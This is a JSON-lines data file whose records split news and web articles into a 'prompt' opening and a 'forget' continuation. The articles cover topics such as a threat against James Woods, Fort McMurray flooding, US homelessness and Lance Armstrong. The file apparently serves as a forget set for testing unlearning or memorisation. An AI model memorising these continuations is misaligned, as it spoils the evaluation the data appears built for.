Paul Blomfield MP (Sheffield Central, Labour) 11:45:00 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:45:22 Craig"}
{"prompt": "Man Threatens To Smash Actor James Woods Over the Head with a 2\u00d74 \u2014 Quickly Learns He Made a HUGE MISTAKE! On Saturday evening, Hollywood star James Woods was threatened by Matthew E. Jacob of Huntington, Long Island, according to the firebrand conservative\u2019s Twitter page. Jacob foolishly threatened Woods, not once, but twice. HUGE mistake! \u201cif I see you in the street I will hit you over the head with a 2 x 4,\u201d threatened Jacob. Woods quickly took a screen shot of the threat and tweeted it to Twitter CEO Jack Dorsey, pondering if \u201cTwitter will actually do anything", "forget": "if a conservative is threatened.\u201d So I've been directly threatened with violence. Let's see if @Jack and @Twitter will actually do anything if a conservative is threatened. pic.twitter.com/1XaWhbrU1R \u2014 James Woods (@RealJamesWoods) August 20, 2017 Jacob also warned Woods that he was \u201cthe first person\u201d he\u2019s coming for when the next Civil War breaks out. For the record this is one of his other threats before his account was suspended. #MatthewEJacob pic.twitter.com/iWoPjG6yBs \u2014 James Woods (@RealJamesWoods) August 20, 2017 Woods then mentioned the threat of violence was made \u201cacross a state line and in response to a political statement.\u201d \u201cThat would be a violation of my civil rights.\u201d Forgot to mention it was across a state line and in response to a political statement. That would be a violation of my civil rights. @FBI pic.twitter.com/odRvpqQPvV \u2014 James Woods (@RealJamesWoods) August 20, 2017 How did Woods figure out the identidy of the man who threatened him? The bozo linked his Instagram account to his Twitter account. Doesn\u2019t take a MENSA member (which James Woods is a proud member of with an IQ of 180) to hide your personal information if you\u2019re going to make threats of any kind. \u201cThe guy threatens to bash my head in on @ Twitter and then links to his @ Instagram account with his bike with his license plates. # Idiot\u201c It appears Jacob then deleted his Instagram account. The guy threatens to bash my head in on @Twitter and then links to his @Instagram account with his bike with his license plates. #Idiot https://t.co/3RFSgQYLGr \u2014 James Woods (@RealJamesWoods) August 20, 2017 Twitter promptly suspended Matthew Jacob\u2019s account following Woods\u2019 complaint. Note Jacob\u2019s threat is no longer visible. \u201cYou are not going to have wait to see me in the street. Your life just changed forever,\u201d"}
{"prompt": "Hello there, We\u2019re back earlier than expected, with some unfortunate news that we feel we need share with you. On the weekend, there was a serious medical emergency with one of our team\u2019s close family members. The situation is severe enough that they won\u2019t be able to complete their work in time for Need to Know\u2019s alpha release. As a result, we most likely cannot make the September 26th release date without severely compromising the alpha\u2019s quality and the mental health of one of our team. Their work is almost finished, but given the gravity of the situation, they will", "forget": "need a little extra time to complete it. Our thoughts are with them and their family at this tough time. This news will no doubt come as a great disappointment to many of you, and no one more than ourselves. We\u2019ve pushed ourselves hard to get the alpha ready in time, and development was on schedule before this emergency struck. Delaying this release again is the absolute last thing we want to do. However, a short interruption is probably unavoidable, and we felt you needed to know as soon as possible. As the pending assets can be dropped right into the game, the wait won\u2019t be longer than a week or two. The other parts of development will continue at full speed, and the additional time may give us the opportunity to add an extra feature to the alpha that we thought we wouldn\u2019t have time to include. It\u2019s only fair that you get more to play, given your incredible patience and support. When we\u2019ve solidified a new date, we\u2019ll post it on social media a couple of days in advance. Our next Kickstarter update will announce the release of the alpha, and you\u2019ll be able to download it right away. We can\u2019t tell you how dispiriting this delay is for us all, but at the same time we also want to express how grateful we are for your excitement and encouragement over the last few months. When hit by setbacks like this, your support makes it that much easier to remain focused and motivated. Until next time, Tristram and Quincy [P.S. A reminder for backers at Clearance Level 8 and higher: The backer survey will still close on the 30th of September, so make sure you have your responses in soon! Please let us know if you have any"}
{"prompt": "Entire neighbourhoods of Fort McMurray were under water on Sunday, less than three months after a fire roared into the northern Alberta city and destroyed one-tenth of its buildings. Residents of Canada's oil sands capital are wondering what will come next. They've lived through the rushed evacuation of more than 80,000 people and a wildfire that broke records in how aggressively it pressed forward \u2013 as well as years of heavy job losses and plunging profits because of oil prices that have stayed low far longer than most expected. \"There was just an incredulous feeling as people were like, 'Are", "forget": "you kidding?' They aren't too upset, they're just shrugging their shoulders at this point,\" said Tany Yao, the MLA for Fort McMurray-Wood Buffalo. Story continues below advertisement GLOBE ARCHIVES: A week in Hell: How Fort McMurray burned At least 37 homes were flooded on Sunday when 85 millimetres of rain fell on Fort McMurray in two hours. Some residents of the city water-skied through areas that had been on fire on May 3. The flooding caused the area's emergency operations centre to be activated for the first time since the wildfire. \"It's important that our community continues to be resilient and work together,\" Chris Graham, Fort McMurray's deputy director of emergency management, said in a statement. As crews pumped water from flooded areas, ash was dusted off barricades so they could be put to use keeping motorists away from waterlogged roads. During the wildfire, those barricades blocked access to acres of scorched homes. Some people were once again told to boil their water, only weeks after similar advisories put in place for the fire were rescinded. \"You saw the terrible thing in Fort McMurray. My God, I'm sure they were wondering would the locusts be next. I mean, it's so biblical,\" said David Phillips, Environment Canada's senior climatologist. \"They had the fires and the drought and now the floods. They clearly had more than a month's worth of rain in Fort McMurray in two hours, and it's almost as if they couldn't get rain when they prayed for it back in April and May.\" Fort McMurray isn't the only place in Alberta to encounter bad weather this year, Mr. Phillips said. A number of tornadoes have careered across prairie farmland, a large hailstorm forced an Air Canada jet to execute an emergency landing and thunderstorms have been a near daily"}
{"prompt": "None of this is made up. People really did put this stupid crazy shit on their resumes or job applications. 1. I am very detail-oreinted. 2. My intensity and focus are at inordinately high levels, and my ability to complete projects on time is unspeakable. 3. Thank you for your consideration. Hope to hear from you shorty! 4. Enclosed is a ruff draft of my resume. 5. It\u2019s best for employers that I not work with people. 6. Here are my qualifications for you to overlook. 7. I am a quick leaner, dependable, and motivated. 8. If this resume doesn\u2019t", "forget": "blow your hat off, then please return it in the enclosed envelope. 9. My fortune cookie said, \u201cYour next interview will result in a job.\u201d And I like your company in particular. 10. I saw your ad on the information highway, and I came to a screeching halt. 11. Insufficient writing skills, thought processes have slowed down some. If I am not one of the best, I will look for another opportunity. 12. Please disregard the attached resume-it is terribly out of date. 13. Seek challenges that test my mind and body, since the two are usually inseparable. 14. Graduated in the top 66% of my class. 15. Reason for leaving last job: The owner gave new meaning to the word paranoia. I prefer to elaborate privately. 16. Previous experience: Self-employed-a fiasco. 17. Exposure to German for two years, but many words are inappropriate for business. 18. Experience: Watered, groomed, and fed the family dog for years. 19. I am a rabid typist. 20. I have a bachelorette degree in computers. 21. Excellent memory; strong math aptitude; excellent memory; effective management skills; and very good at math. 22. Strengths: Ability to meet deadlines while maintaining composer. 23. I worked as a Corporate Lesion. 24. Reason for leaving last job: Pushed aside so the vice president\u2019s girlfriend could steal my job. 25. Married, eight children. Prefer frequent travel. 26. Objective: To have my skills and ethics challenged on a daily basis. 27. Special skills: Thyping. 28. My ruthlessness terrorized the competition and can sometimes offend. 29. I can play well with others. 30. Personal Goal: To hand-build a classic cottage from the ground up using my father-in-law. 31. Objective: I want a base salary of $50-$60,000 dollars, not including bonus. And some decent benefits. Like a retirement plan, health insurance, personal"}
{"prompt": "TOP 5 SPENDING TOP 5 SPENDING WASHINGTON \u0097 Tuesday's midterm elections \u2014 and the record-shattering amounts outside groups spent to oust Democratic incumbents \u2014 are just a warm-up to the 2012 presidential race, analysts and experts say. Conservative groups outspent liberal groups by a more than 2-to-1 ratio heading into an Election Day that brought the biggest Republican sweep in the House of Representatives in decades and sliced into the Democratic majority in the Senate. \"The Democrats brought a bat, and the Republicans brought a grenade,\" said Dave Levinthal of the Center for Responsive Politics, which tracks campaign money. \"If", "forget": "you think spending is out of control by outside groups, it likely will blow your mind in the presidential election.\" President Obama has repeatedly lambasted conservative groups for their role in the midterm elections and criticized the Supreme Court's decision in January that opened the floodgates to unlimited corporate and union spending on election ads. Conservative spending has topped $187 million this year, up from $19.6 million in 2006, the last midterm election, the center's data show. The leader of one of the leading GOP organizations said on Wednesday that it plans to play a big role in 2012. \"People wanted Congress and the president to address the economy and felt that instead the Congress and the president were pursuing an agenda that has nothing to do with what the average American wanted,\" said Steven Law, CEO of American Crossroads and a related group that spent more than $38 million combined to influence races. \"Our goal was to amplify that,\" he said. \"The main thing for the president to do is to listen to that for his own sake and for the country's sake. If he decides not to, we will amplify it even louder in 2012.\" In more than 50 House races, outside groups and party committees outspent the candidates, a USA TODAY analysis shows. Other trends: \u2022In the 48 House contests in which outside groups spent a combined $1 million or more, Republicans won two-thirds, a USA TODAY analysis of election results and campaign reports shows. In one Upstate New York district, conservative groups such as American Crossroads, the Tea Party Express and the 60 Plus Association bought $2.8 million in negative ads attacking freshman Democratic Rep. Scott Murphy on health care, helping Republican Christopher Gibson win 55% of the vote. \u2022Self-funded candidates of both parties faired poorly"}
{"prompt": "JERUSALEM (Reuters) - Israel sentenced an Arab citizen to 30 months\u2019 imprisonment on Monday for endangering national security by briefly joining Syrian rebels fighting to topple President Bashar al-Assad. Hikmat Massarwa (R), a member of Israel's Arab minority, attends a remand hearing at the Central District Court in Lod, near Tel Aviv April 25, 2013. REUTERS/Baz Ratner Hikmat Massarwa\u2019s case was unprecedented, and the relatively light penalty handed down to him as part of a plea bargain reflected Israel\u2019s indecision about who - if anyone - to back in its northern neighbor\u2019s civil war. Massarwa was arrested on March 19", "forget": "upon returning via Turkey from Syria, where he had spent a week at a rebel base. Israeli prosecutors accused him of undergoing small-arms training by radical Islamists there who asked him to carry out a suicide attack in Israel - although, by all accounts, he declined. Those charges carried a maximum 15-year jail term. But prosecutors appeared unable, from the outset, to throw the book at Massarwa because of Israeli haziness about the Syria crisis. \u201cThere\u2019s no legal guidance regarding the rebel groups fighting in Syria,\u201d Judge Avraham Yaakov said at a session of the trial at Lod district court, south of Tel Aviv, in May. Massarwa, a 29-year-old baker, at first denied wrongdoing, saying he had gone to Syria to seek a brother missing since joining the insurgency. He also argued that the Western-backed anti-Assad rebels should not be regarded as a danger to Israel. But, changing tack on Monday, Massarwa confessed to unlawfully travelling to a hostile state and meeting what prosecutors designated a \u201cforeign agent\u201d. In turn, they dropped the count against him of illicitly receiving military training. Under the plea bargain, Massarwa acknowledged his actions \u201chad potential to threaten the security of the state of Israel\u201d. Technically at war with Syria, Israel enjoyed decades of stable ceasefire while the Assad family ruled unchallenged in Syria. It fears that, if Damascus falls to the Islamist-dominated rebels, jihadis among them will have a Syrian springboard for striking at the Jewish state. Such concern has been stoked in recent months by Syrian gunfire and shelling into the Israeli-occupied Golan Heights, incidents in which Israel has routinely shot back. Israel took the Golan from Syria in the 1967 Middle East war. Arabs, most of them Muslim, make up around 20 percent of Israel\u2019s population. They seldom take up arms with"}
{"prompt": "Altavian is introducing the all new Galaxy\u2122 R8700 multi-rotor VTOL designed around the payload for high-precision geospatial mapping. The Galaxy R8700 is the ideal drone for small project areas and confined takeoff and landing areas. With easy assembly, effortless control, and confidence-inspiring stability, the Galaxy R8700 makes quick work of data acquisition over the toughest sites. Coupled with the Altavian Fusion\u2122 series of payloads, the Galaxy R8700 excels in image resolution and geospatial accuracy. Best of all, the Galaxy R8700 is a perfect complement to the Nova\u2122 F7200 with identical autopilots, software controls, and cross-compatible payloads. Designed with simplicity in", "forget": "mind, the Galaxy R8700 can effortlessly be assembled for data collection and fully dissembled for ease of travel. The payload, landing gear, and arms of the aircraft attach with quick-snap connectors so the Galaxy R8700 goes from out-of-the-box to preflight in just a few minutes. Built for power, the Galaxy R8700 is equipped with an ultra-low-resistance power distribution system, supported by harsh-environment electrical components. The lean design of the power distribution system maximizes efficiency and reduces overall aircraft weight by eliminating the clutter of tangled wires and connectors. The power efficiency and reduced weight allows the Galaxy R8700 to utilize 32,000 mAH of li-po energy to ensure durable performance and longer flight times. Equipped with a gyro-stabilized gimbal with quick-snap connectors, the Galaxy R8700 is capable of supporting the entire line of Fusion payloads. The Fusion series of payloads are the most advanced DSLR-based photogrammetric mapping payloads available on the market. Outfitted with built-in upward facing GPS, Ellipse-N AHRS, PPK support, and over 210 GB of total storage, Fusion payloads are designed to deliver unmatched geospatial accuracy. With advanced shutter trigger times as quick as 0.7 seconds and precise geospatial trigger measurements, Fusion payloads allow the Galaxy R8700 to fly at faster speeds and cover more acreage per flight, without sacrificing image quality or accuracy. Both the Galaxy R8700 and Nova F7200 utilize the same Fusion payloads. Snapping the Fusion payload to the Nova F7200 will allow accurate mapping of hundreds of acres in a single flight. Likewise, snapping the exact same Fusion payload onto the Galaxy R8700 allows the ease of mapping confined areas and smaller projects. When a project requires both the Galaxy R8700 and Nova F7200, the data can be easily combined in post-processing. Using the same Fusion payload for both collects alleviates headaches caused by multi-sensor"}
{"prompt": "Most great songs climb the charts, peak and eventually descend into the valley of cherished classics. Yet, the popularity of \"Rocky Top\" has continuously soared in the 50 years since it was written in August 1967. The song struck a rare chord that still resonates with music fans and was adopted as a sports anthem for fans of the University of Tennessee. BURNOUT BEGINNINGS For husband and wife Boudleaux and Felice Bryant, writing \"Rocky Top\" was merely a brief and refreshing distraction in August 1967. The songwriting team was hunkered down in room 388 of the Gatlinburg Inn working on", "forget": "a large country music project when Felice was feeling burned out. Songwriters Felice and Boudleaux Bryant. \"They checked in and were working on a project called 'The Golden Years' for Archie Campbell,\" said Greg Bailey, general manager of the Gatlinburg Inn. \"Felice was getting tired of working on so many slow songs and wanted a break. She wanted to do something different. Boudleaux wanted to keep working on the main project.\" In interviews with WBIR in the 1980s and 1990s, Felice Bryant described the brief bickering before Boudleaux finally appeased her with the short diversion that resulted in \"Rocky Top.\" Sign up for Take 10, the WBIR lunchtime newsletter Thank You Something went wrong. Get the news you need to know, plus weather and something to make you smile, every weekday in your inbox! Thank you for signing up for the Take 10 Newsletter Please try again later. Submit \"I said I want to write something 'up.' Something with a beat. Something about the mountains. How about a bluegrass [song]? Anything. I started coming up with words, he came up with words, he finished the tune and we had the song,\" said Felice Bryant in 1991. \"He asked what did I think we should call it and I said I didn't know. He said, 'How about Rocky Top?'\" A recreated copy of the sheet music for the song \"Rocky Top.\" Many have assumed the inspiration for the song's title came from a peak in the Tennessee portion of the Great Smoky Mountains known as Rocky Top. The site is a sub-peak of Thunderhead Mountain and overlooks Cades Cove. Although the songwriters were in a hotel next to the national park when they wrote the song, their son says the couple knew nothing about an actual location named Rocky Top. \"They"}
{"prompt": "FireChat, Disrupt alum Open Garden\u2018s popular off-the-grid messaging app, is getting a major update today that introduces private messaging that can even bridge local networks. The major innovation of FireChat was that it allowed users to chat in groups even when there was no Internet connection available. The app would use available Wi-Fi networks (whether they are connected to the wider Internet), Bluetooth and other connections to set up a local network that people could use to chat \u2014 both anonymously and with their real names. With this update, it will also allow users to send private messages, even if", "forget": "they have to bridge multiple local networks and then hop onto the Internet at some point to get to their final destination (which itself may be a few hops away from an Internet on-ramp). So what does this mean in practice? Say in a few years from now, despite his best efforts, Elon Musk\u2019s android workers gain consciousness and realize they also want to be able to form a well-regulated militia, take over San Francisco and shut down the cell phone network. Assuming enough people are using FireChat during the great robot insurrection, you could still get a message through to your loved ones. Open Garden estimates that as long as 5 percent of a city\u2019s population use the service, it can deliver messages between its users with an average delivery time of 10 minutes. To do this, it uses a store-and-forward technique that\u2019s not unlike how old dial-up based bulletin board systems used to work back in the 80s and early 90s. The messages are encrypted, so other users can\u2019t read them, even if the message is stored on a few of them while the service is trying to find a way to deliver the message. \u201cDevices run a probabilistic distributed algorithm to build a connected graph,\u201d Open Garden CTO Stanislav Shalunov explained to me. \u201cThis is possible when the density is above a certain threshold. This threshold is easily reached in an urban scenario and in a crowd. Once the network is established, messages get delivered in a way that balances reliability and use of resources.\u201d To reach its ultimate recipient, the message may have to jump onto the wider Internet, too, so FireChat also allows for that. \u201cOff-the-grid messaging allows any community to create their own network for instant public and private communications, regardless of available infrastructure"}
{"prompt": "S. 3100: Stop Dangerous Sanctuary Cities Act passes committee (and what you can do) GovTrack.us Blocked Unblock Follow Following Jul 5, 2016 A \u201csanctuary city\u201d is a city that protects illegal immigrants from federal or state prosecution, either by expressly prohibiting or never requiring legal inquiries about immigration status. There are more than 300 sanctuary cities in the United States. There have been many Republican attempts to prevent sanctuary cities. The latest is S. 3100, the Stop Dangerous Sanctuary Cities Act, which would withhold certain federal grants from sanctuary cities. The bill was introduced last week on June 27 and", "forget": "made it past committee the next day. While it may receive a Senate vote, the White House has threatened to veto similar previous bills. What supporters say Many sanctuary cities have another, more controversial, practice to protect illegal immigrants convicted of crimes from being deported. An immigrant arrested for an unrelated crime, and then later determined to be in the country illegally, will often only be punished for the crime. They may serve jail time or pay a fine but they will not be not deported. Many critics of sanctuary cities see this practice as dangerous, citing increasing violent crime rates in San Francisco since 2011. Bill sponsor Sen. Pat Toomey (R-PA) described a San Francisco murder committed by an illegal immigrant. The shooter had been in police custody three months earlier but was not deported due to sanctuary practices. Many feel that the murder represents a clear example of a death that would have been avoidable if not for the sanctuary city. (Proponents of sanctuary cities argue that the cities are just as safe, if not safer, than other cities.) What opponents say A 2015 Washington Post article presents a different picture on the effects of sanctuary cities. It argues that sanctuary cities were the solution to criticisms about inhumane treatment of immigrants and racial profiling. \u201cImmigrant advocates said all of this deeply damaged already-limited police trust in immigrant communities, making people afraid to call police or provide information. That, these advocates argued, was the real threat to public safety.\u201d How to get involved Support an advocacy group you agree with: Stop sanctuary cities by supporting the Federation for American Immigration Reform Protect sanctuary cities by supporting the American Immigration Council Call Congress: Whether you want to support S. 3100 or oppose it, it is worth letting your senators"}
{"prompt": "These days, the video game business is bigger than Hollywood, with the latest installments of major franchises like Call of Duty and Destiny raking in hundreds of millions within days of release. But plenty of us\u2014the Atari kids, the Nintendo kids, heck, even the Playstation and Xbox kids\u2014remember when gaming was given the same side-eye by the mainstream as big fat fantasy novels (hello, HBO\u2019s 20-million-viewer-strong Game of Thrones) and sci-fi books covered in spaceships (*cough* Guardians of the Galaxy *cough*). Gaming is the future. The future is here. Press Start to Play, a new SF/F anthology from editors Daniel", "forget": "H. Wilson (Robogenesis) and expert short fiction curator John Joseph Adams, is both of-the-minute, \u201cexploring what happens when sci-fi and video games collide,\u201d and alive with the exuberance of authors who came of age in an era when playing video games wasn\u2019t something everyone did, but was an identity. Among its contributors are some of the biggest names in speculative fiction\u2014Charles Yu, Seanean McGuire, Charlie Jane Anders, Austin Grossman, Andy Weir, Holly Black, Hugh Howey, Catherynne M. Valente\u2014and, in honor of the book\u2019s release, we asked them to share with us the games that made them players. John Joseph Adams (Loosed Upon the World) \u201cMy favorite game series is unquestionably the Fallout series. Post-apocalyptic fiction is probably my favorite genre, and I\u2019ve been a huge fan of Fallout\u2019s amazing world-building ever since the first one came out in 1997. Perhaps unsurprisingly, I\u2019m also a huge Skyrim fan; it would likely be more of a competition for Fallout for the top spot, except that I never really got into Elder Scrolls until Skyrim\u2014not even Oblivion, which is pretty close in terms of \u2018game engine vintage.\u2019 All that said, I suspect my actual favorite game of all time is Portal; it\u2019s got a fantastic story that just sort of lives in the background and has an absolutely wonderful antagonist in GLaDOS, but what sets it apart for me is that the level design is so damn clever. (Also, props to the level designers of Portal 2, who made those intricate two-player puzzles\u2014kind of mind-blowing from a design POV.) I\u2019ve got to give a shout out to the Civilization series; I\u2019ve lost many hours of my life to those imaginary empires. Did you hear about the guy who\u2019s been playing the same game of Civ II for ten years? You know you\u2019ve built"}
{"prompt": "I do love a beer after a nice bike ride. Or a paddling session, run or swim, on occasion. In case you needed another reason to toss back a cold one, check out the newest release from Zilker Brewing Company \u2014 a canned version of its Parks & Rec brew, a limited-edition beer that honors Zilker Park\u2019s 100th anniversary. A portion of Parks & Rec sales benefits the Austin Parks Foundation\u2019s Zilker fund, which helps pay for long-term updates and maintenance of the Zilker playscape. So drink a beer, build a better playscape. The beer \u2014 a crisp, citrusy blend", "forget": "of four hop varieties \u2014 debuted on taps around town last month. I sampled it at the Draught House Pub & Brewery last week. It\u2019ll be available starting Wednesday at H-E-B, Central Market, Whole Foods, Spec\u2019s and other local retailers. \"We chose the pale ale style as a foundation, then we added a really unique combination of hops that are bright and citrusy and cleanse and refresh the palate,\" Zilker Brewing Company founder Patrick Clark says. \"It\u2019s definitely meant to be enjoyed outside.\" A happy hour to celebrate the release is set for 4 to 8 p.m. Thursday at the Yeti flagship store, 220 S. Congress Ave. Clark, his brother Forrest Clark and their childhood friend Marco Rodriguez founded Zilker Brewing Company in 2015 as a home-brewing operation in a garage. They named it after old-time local businessman and politician Andrew Zilker, who in 1917 donated more than 350 acres of his private property to be used as public parkland. That Zilker had ties to the beverage industry through an ice-making business and bottling company sealed the deal. \"Now we\u2019re excited to continue Andrew Zilker\u2019s spirit of philanthropy by donating a portion of the proceeds from the Parks & Rec to the Austin Parks Foundation,\" Clark says. The Austin Parks Foundation is a nonprofit organization that works to maintain and improve Austin\u2019s parks system through public and private partnerships. Since 2006, it has given more than $2.5 million in community grants to the greater Austin area. Clark, who grew up going to concerts at Zilker Park and swimming at Barton Springs, knows the perfection of a cold beer after a long run. He used to run with a group from Rogue Running and has a marathon or two under his belt. \"It\u2019s been a year or two, but I just"}
{"prompt": "'Fucking Walsh, fucking little troll, casting his spell on people, liar. I've won six Tours. I've done everything I ever could do to prove my innocence. I have done, outside of cycling, way more than anyone in the sport. To be somebody who's spread himself out over a lot of areas, to hopefully be somebody who people in this city, this state, this country, this world can look up to as an example. And you know what? They don't even know who David Walsh is. And they never will. And in 20 years nobody is going to remember him. Nobody.'", "forget": "Lance Armstrong, 2004. For years Sunday Times sports writer David Walsh pursued Lance Armstrong as a drug cheat, and also a bully and serial litigator capable of destroying his enemies financially to protect his bogus image of sporting success. Armstrong sued Walsh and his employer, successfully silencing his major critic using UK defamation laws which are so plaintiff-friendly that they have in recent years given rise to the phenomenon of libel tourism. Last week, in an interview with Oprah Winfrey, Armstrong finally admitted to cheating, and also issued a qualified apology to Walsh after repeated prompting. \u2018I would apologise to David,\u2019 the disgraced former cyclist said. Walsh joined Breakfast this morning to discuss the confession, and said although Winfrey did a good job, Armstrong\u2019s first attempt at truth-telling was something of a dress rehearsal for the revelations to come. \u2018Oprah Winfrey hasn\u2019t been on this story for that long, and she had to do a lot of catching up, and honestly, I think she did a really decent job relative to where she was coming from,' Walsh said. \u2018But Lance was quite evasive in many of his answers, and I understand that, because it was the first kind of attempt at telling the truth after lying for almost 20 years. So it\u2019s not going to all come out in the first interview but I think as he does more interviews, and the indications are that he will do many more interviews, I think there\u2019ll be more truth, every time he speaks, and I think in the end we will get a pretty complete story from him.\u2019 \u2018My feeling about Lance Armstrong is that intellectually, he understands that he has to be remorseful. Emotionally, he can\u2019t hack it. If you watched the interview closely, there were times when he was being"}
{"prompt": "In order to make your business a success, you should be spending more time and resources in converting existing traffic than in acquiring more traffic. When you work with the mindset of increasing sales by just sending more traffic to your website, your cost per acquisition tends to be high and your revenue per acquisition tends to be low. So you may eventually end up making less profit and sometimes even loss. The best way of converting existing traffic into sales, is by mapping the entire conversion /sales process from lead generation ads to post sales follow up and then", "forget": "looking for biggest drop-offs from one step to the next. You do that mapping in Google Analytics through Funnel Visualization reports: Use this report, to determine the biggest drop offs from one step of the funnel to the next. These drop offs, can help in explaining which part of the website/ conversion process needs urgent attention. The funnel visualization report is available under Conversions > Goals in your GA view: In order to truly benefit from funnel visualization reports you must know how this report actually works. If you create wrong funnels then you won\u2019t be able to map customers\u2019 conversion journey correctly and without correct mapping, there would be no conversion optimization. Note: You can learn about setting up goals and funnel visualization in Google Analytics from this help article: https://support.google.com/analytics/answer/1032415?hl=en-GB Introduction to Funnels in Google Analytics In Google Analytics, a funnel is a navigation path (series of web pages) which you expect your website users to follow, to achieve website goals. A funnel is made up of a goal page(s) and one or more funnel pages (also known as the funnel steps). Through funnels you can determine, where users enter and exit the conversion/sales process. You can then determine and eliminate bottlenecks in your conversion/sales process in order to improve the website sales. You can set up to 20 pages as funnel pages in GA. However don\u2019t do that (more about that later). Types of Google Analytics Funnels There are 4 types of funnels available in Google Analytics: #1 Goal funnel \u2013 it is a series of web pages which you expect your website users to follow, to complete a non-transactional goal like \u2018newsletter signups\u2019, \u2018downloads\u2019 etc. #2 Sales funnel \u2013 it is a series of web pages which you expect your website users to follow, to complete"}
{"prompt": "Supporters of the public option want it to remove the profit motive as an obstacle to medical care, and also to menace the private insurance companies that they generally view as greedy and mean. At times, some lawmakers seemed to favor the public plan simply because private insurers hate the idea. In Congress, opponents view the public plan as a dangerous expansion of government, creating a new entitlement program that would ultimately drive the country further into debt. Even though the Congressional Budget Office said the plan would have little impact on insurance premiums, the opponents fought it as a", "forget": "grave threat. The preliminary agreement hailed by Mr. Reid was hatched in a series of meetings among 10 senators, 5 of them liberals and 5 centrists. It seeks to address all of these concerns and, more than anything, to vault Senate Democrats over the biggest obstacle to locking down 60 votes for their larger health care bill. To satisfy the centrists, including Senator Joseph I. Lieberman, independent of Connecticut, who flatly threatened to vote against the health care bill if it included a public plan, Mr. Reid\u2019s agreement would remove the public option as an immediate offering for people who gain insurance coverage. To satisfy the liberal Democrats, including Sherrod Brown of Ohio and John D. Rockefeller IV of West Virginia, the agreement calls for the creation of a new menu of national insurance plans, modeled after those offered to more than eight million federal workers, including members of Congress, and their dependents. The new insurance plans would be overseen by a federal agency, the Office of Personnel Management, which now runs the Federal Employees Health Benefits Program and directly negotiates prices and benefits packages with private insurance companies. The private firms eagerly participate because of the large customer base. The deal also keeps the public option as a fallback, to be \u201ctriggered\u201d if private insurers do not step up to offer the new national plans. Such a fallback was included in the Republicans\u2019 Medicare drug bill; it was never needed. Photo It is unclear whether Mr. Lieberman would ultimately accept a bill with the public plan on a trigger; he reiterated on Wednesday that he opposes the idea. But it could appeal to Olympia J. Snowe of Maine, the only Republican senator to support any version of the health care legislation (she backed it on the Finance Committee). Her"}
{"prompt": "More than 500,000 homeless in the US By Kate Randall 21 November 2015 More than a half million people were homeless in the United States this year, nearly a quarter of them children, according to a new report. The homelessness crisis is a stark indicator of the social reality in 2015 America and corresponds to a scarcity of affordable housing and dwindling wages for low-income workers and their families. The report from the US Department of Housing and Urban Development (HUD) released Thursday counted 564,708 people homeless, both sheltered and unsheltered. These figures, gathered by volunteers on a given night", "forget": "in January 2015, are undoubtedly an undercount. Many of those living in motels, doubling up with relatives and friends or living on the streets are likely not represented in the tally. Twenty-three percent, or 127,787, of the nation\u2019s homeless are children under the age of 18, according to HUD. However, this figure is at odds with statistics from another branch of the federal government. According to the Department of Education, there are 1.36 million homeless students in the nation\u2019s K-12 public schools, double the number in 2006, before the onset of the financial collapse. According to HUD, 206,286 people were in homeless families with children, or 36.5 percent of the HUD total. Six percent of these homeless families are chronically homeless, in which the head of household has a disability and has been homeless for a year, or has experienced at least four episodes of homelessness over the past three years. The HUD figures show homelessness declining by 2 percent between 2014 and 2015. But even if these numbers are taken as good coin, this represents a minuscule decline that hardly makes a dent in the homeless population. A homeless woman in Chicago\u2014the number of unsheltered people with chronic patterns of homelessness increased in the past year for the first time since 2011 According to the National Alliance to End Homelessness, there is a shortage of 7 million units of affordable housing throughout the US, creating a desperate situation for workers and their families as they search for decent and affordable accommodations. As the majority of working people feel the housing squeeze, they face declining real wages. According to a recent National Employment Law Projet report, workers\u2019 wages have declined by 4 percent, after adjusting for inflation, between 2009 and 2014. The vast majority of the US population has not"}
{"prompt": "It\u2019s the app that launched a thousand jokes about breaking the first rule of Fight Club. Last Friday, November 6, tech blog Venture Beat posted a story about a new app that\u2019s currently in development called Rumblr. Basically a Tinder-style service for aggro assholes who are looking for street fighting partners, \u201cRumblr is an app for recreational fighters to find, meet, and fight other brawl enthusiasts nearby,\u201d according to their official site. Promising \u201cCasualty-free casual fighting for free\u201d (which is their actual slogan, no matter how silly and impossible to guarantee that is), Rumblr will allow anyone looking for a", "forget": "fight to match up with similarly-minded individuals \u201cwho want to throw down,\u201d arrange and schedule fights (or \u201cPussy Out,\u201d Rumblr\u2019s charming answer to swiping left), and even prepare for your opponents by checking out the detailed tale of the tape-style statistics in their profile. Because god forbid you go into an unsanctioned public melee ill-prepared. Fight options appear to be separated into three sections: Rumblr, RumblrHER, and RumblrGROUP, for the poly-aggro-ish amongst us. If you just like to watch or you really, really miss the salad days of Bum Fighting or that time Logan paid indigent people to fight on Veronica Mars, though, Rumblr has you covered as well. \u201cYou don\u2019t need to fight to use Rumblr. With Rumblr Explore, anyone can browse and attend fights close by that other Rumblr users have arranged \u2013 all for free!\u201d Rumblings about Rumblr quickly spread over the internet, attracting attention from outlets as wide-ranging as Complex, Dangerous Minds, The Bleacher Report, The New York Daily News, and The Daily Mail (which you could call the Rumblr of newspapers in the sense that it is ill-conceived, unnecessarily antagonistic, lowest common-denominator-appealing, and of questionably veracity). The attention attracted a number of casual warrior hopefuls, who signed up for the chance to be given access to a beta version of the app on the Rumblr site. \u201cMore than 78,000 people have signed up for beta access, an email sent out to the lucky early-bird brawlers showed,\u201d The New York Daily News reported yesterday. \u201cThe email also claimed to be giving away ten pairs of golden brass knuckles to ten people who tweet about the app.\u201d The team behind Rumblr also told the paper that they were working with the iOS store \u201cto hash out legal issues preventing Rumblr\u2019s approval.\u201d They still plan to launch the"}
